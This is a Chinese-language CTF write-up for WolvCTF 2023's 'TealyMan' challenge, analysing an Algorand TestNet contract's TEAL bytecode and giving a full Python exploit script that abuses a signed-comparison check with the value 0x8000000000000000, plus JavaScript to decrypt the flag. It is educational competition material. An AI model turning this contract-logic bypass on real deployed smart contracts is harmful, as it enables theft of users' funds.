2023 | WolvCTF | Crypto
TealyMan
题目¶
Use the TestNet. Submit by sending enough testnet algos to cover the current transaction fee to the CTF_Address.
| CTF_Address | OH4YZ4QXWOWLHIUKPQAOMPBZBELCANRPRX3NI7SQFL2OFASHLBW5DTLDZQ |
| AppID | 163726037 |
解题思路¶
- 看地址首先排除 Ethereum uwu 根据
TestNet和algos锁定 Algorand 生态 owo - OH4YZ4QXWOWLHIUKPQAOMPBZBELCANRPRX3NI7SQFL2OFASHLBW5DTLDZQ 为普通账户，163726037 对应需要交互的智能合约账户
- Algorand 智能合约包含两部分，
ApprovalProgram和ClearStateProgram。ApprovalProgram负责处理主应用逻辑，ClearStateProgram负责将对应智能合约从账户记录中移除，执行成功返回 \(1\)
the flag will be sent to u once ur done with the app and provide the address enough to cover current transaction fees
- 目标是与应用进行完整交互。与合约交互的方法包括 Opt-in、Call(NoOp)、Read state、Update、Close out、Delete 以及 Clear state
- 在开始与使用本地状态的应用交互前，账户需要 Opt in
-
分析
ApprovalProgram，根据OnCompletion的类型执行相关操作，重点关注OnCompletion == 0，即 NoOp。目标应用支持setup和buy- 首先通过
setup向应用注册 asset，并向应用转移一部分 asset 以便后续购买操作 - 再进行
buy，需要发送一个交易组，其中第一个交易为 Payment（向应用支付购买 asset 的 algo），第二个是 Application Call
Approval Program
#pragma version 5 intcblock 1 0 4 9223372036854775808 // prepare block of uint64 constants for use by intc bytecblock 0x7374617274 0x656e64 0x61646d696e5f6b6579 0x6e66745f6964 // prepare block of byte-array constants for use by bytec // Deploy or Call? txn ApplicationID intc_1 // 0 == bnz label1 txn OnCompletion intc_1 // 0, NoOp, only execute the ApprovalProgram associated with this application ID, with no additional effects. == bnz label2 txn OnCompletion intc_0 // 1, OptIn, before executing the ApprovalProgram, allocate local state for this application into the sender's account data == bnz label3 txn OnCompletion pushint 2 // CloseOut, after executing the ApprovalProgram, clear any local state for this application out of the sender's account data. == bnz label4 txn OnCompletion pushint 5 // DeleteApplication == bnz label5 txn OnCompletion intc_2 // 4, UpdateApplication == bnz label6 err label6: intc_1 // 0 return label5: txn Sender global CreatorAddress == assert bytec_2 // "admin_key" app_global_get callsub label7 intc_0 // 1 return label4: intc_0 // 1 return label3: intc_0 // 1 return label2: txna ApplicationArgs 0 // 0-th value of the ApplicationArgs array of the current transaction pushbytes 0x7365747570 // "setup" == bnz label8 txna ApplicationArgs 0 pushbytes 0x627579 // "buy" == bnz label9 err label9: global CurrentApplicationAddress // Address that the current application controls txna Assets 0 // Foreign Assets listed in the ApplicationCall transaction asset_holding_get AssetBalance store 1 // store is_opted_in to the 1-th scratch space store 0 // store asset balance to the 0-th scratch space load 1 // load is_opted_in from the 1-th scratch space intc_1 // 0 load 0 callsub label10 && // if is_opted_in and asset balance > 0 txn Sender bytec_0 // "start" app_local_get global LatestTimestamp callsub label10 && global LatestTimestamp txn Sender bytec_1 // "end" app_local_get callsub label10 && txn GroupIndex // index=1 intc_0 // 1 - // GroupIndex - 1 gtxns TypeEnum // field F of the (GroupIndex - 1)-th transaction in the current group intc_0 // 1 == && txn GroupIndex // index=1 intc_0 // 1 - gtxns Sender txn Sender == && txn GroupIndex // index=1 intc_0 // 1 - gtxns Receiver global CurrentApplicationAddress == && global MinTxnFee txn GroupIndex // index=1 intc_0 // 1 - gtxns Amount callsub label10 && assert txna ApplicationArgs 1 btoi global LatestTimestamp + txn Sender bytec_0 // "start" app_local_get callsub label10 bnz label11 intc_1 // 0 return label11: txn Sender bytec_3 // "nft_id" app_local_get txn Sender callsub label12 intc_0 // 1 return label8: itxn_begin // begin preparation of a new inner transaction in a new transaction group intc_2 // 4 itxn_field TypeEnum // set field of the current inner transaction to AssetTransfer txna Assets 0 itxn_field XferAsset global CurrentApplicationAddress itxn_field AssetReceiver itxn_submit // execute the current inner transaction group txn Sender bytec_3 // "nft_id" txna Assets 0 app_local_put // store the nft_id in the sender's local state txn Sender pushbytes 0x73656c6c6572 // "seller" txn Sender app_local_put // store the seller address in the sender's local state txn Sender bytec_0 // "start" global LatestTimestamp app_local_put txn Sender bytec_1 // "end" txna ApplicationArgs 1 btoi app_local_put txn Sender bytec_0 // "start" app_local_get txn Sender bytec_1 // "end" app_local_get < assert // require start < end intc_0 // 1, approval return label1: bytec_2 // "admin_key" txn Sender app_global_put intc_0 // 1 return label12: store 3 store 2 global CurrentApplicationAddress load 2 asset_holding_get AssetBalance store 5 store 4 load 5 bz label13 itxn_begin intc_2 // 4 itxn_field TypeEnum load 2 itxn_field XferAsset load 3 itxn_field AssetCloseTo itxn_submit label13: retsub label7: store 6 global CurrentApplicationAddress balance intc_1 // 0 != bz label14 itxn_begin intc_0 // 1 itxn_field TypeEnum load 6 itxn_field CloseRemainderTo itxn_submit label14: retsub label10: store 8 store 7 intc_3 // 9223372036854775808 load 7 & bnz label15 intc_3 // 9223372036854775808, 0x8000000000000000 load 8 & bnz label16 load 7 load 8 < bnz label17 intc_1 // 0 retsub label17: intc_0 // 1 retsub label16: intc_1 // 0 retsub label15: intc_3 // 9223372036854775808 load 8 & bnz label18 intc_0 // 1 retsub label18: load 7 load 8 > bnz label19 intc_1 // 0 retsub label19: intc_0 // 1 retsub - 首先通过
-
CTF_Address 会向完成交易的账户发起 Transfer 交易，其中包含使用 AlgoSMS 加密的 Flag
Exploit¶
from algosdk.v2client import algod
from algosdk import transaction, account, constants
from Crypto.Util.number import long_to_bytes
from datetime import datetime
import json
def transact(txn):
if not isinstance(txn, list):
signed_txn = txn.sign(private_key)
txid = algod_client.send_transaction(signed_txn)
else:
signed_txns = [t.sign(private_key) for t in txn]
txid = algod_client.send_transactions(signed_txns)
confirmed_txn = transaction.wait_for_confirmation(algod_client, txid, 4)
print(f"Transaction information: {json.dumps(confirmed_txn, indent=4)}")
return confirmed_txn
private_key = '<private>'
sender = account.address_from_private_key(private_key)
app_id = 163726037
app_address = "5K7JP6324NOEPDB5THIZY3FWHUKF4FBPJFYKIUX2SBNG264NUY6E3AI3BM"
algod_address = "https://testnet-algorand.api.purestake.io/ps2"
algod_token = "<api-key>"
headers = {
"X-API-Key": algod_token,
}
algod_client = algod.AlgodClient(algod_token, algod_address, headers)
params = algod_client.suggested_params()
# OptIn
optin_txn = transaction.ApplicationOptInTxn(sender, params, app_id)
transact(optin_txn)
# Create asset
create_txn = transaction.AssetCreateTxn(
sender,
params,
100,
decimals=2,
default_frozen=False,
unit_name="CC",
asset_name="Chicken Coin",
manager=sender,
)
res = transact(create_txn)
asset_id = res['asset-index']
setup_txn = transaction.ApplicationNoOpTxn(
sender,
params,
app_id,
[b'setup', long_to_bytes(int(datetime.now().timestamp() * 1000) + 0x80000000)],
foreign_assets=[asset_id],
foreign_apps=[asset_id],
)
transact(setup_txn)
transfer_txn = transaction.AssetTransferTxn(
sender,
params,
app_address,
1,
asset_id,
)
transact(transfer_txn)
payment_txn = transaction.PaymentTxn(
sender,
params,
app_address,
constants.MIN_TXN_FEE * 10,
)
noop_txn = transaction.ApplicationNoOpTxn(
sender,
params,
app_id,
[b'buy', long_to_bytes(9223372036854775808)],
foreign_assets=[asset_id],
foreign_apps=[asset_id],
)
gid = transaction.calculate_group_id([payment_txn, noop_txn])
payment_txn.group = gid
noop_txn.group = gid
transact([payment_txn, noop_txn])
close_txn = transaction.ApplicationCloseOutTxn(
sender,
params,
app_id,
)
transact(close_txn)
const algosdk = require('algosdk');
const { unsealMessageFromNote } = require('algosms');
async function main() {
const baseServer = 'https://testnet-algorand.api.purestake.io/idx2'
const port = '';
const token = {
'X-API-Key': '<api-key>'
}
let indexerClient = new algosdk.Indexer(token, baseServer, port);
const accRcpt = algosdk.mnemonicToSecretKey('<mnemonic>');
/* get the TXN with encrypted note from indexer */
let SmsTXID = "DPHCQMJZ7BKJZHZO674VWGUO3J7JJAIKFKGSAEDHBSQBVYGV4I7A";
const txn = await indexerClient.lookupTransactionByID(SmsTXID).do();
/* convert base64 to bytes */
const note = Buffer.from(txn.transaction.note, 'base64');
const senderAddr = txn.transaction.sender;
/* decrypt the note with recipient secret key */
const msg = unsealMessageFromNote(note, senderAddr, accRcpt);
console.log(msg);
}
main();
Flag¶
wctf{1_h0p3_y0u_d0nt_4cc1dent4lly_4get_t0_r3m0ve_th3_4pp}
参考资料¶
- Interact with smart contracts - Algorand Developer Portal
- Opcodes - Algorand Developer Portal
- PureStake Developer Portal
- algosms - npm
最后更新:
2023年3月21日 20:33:27
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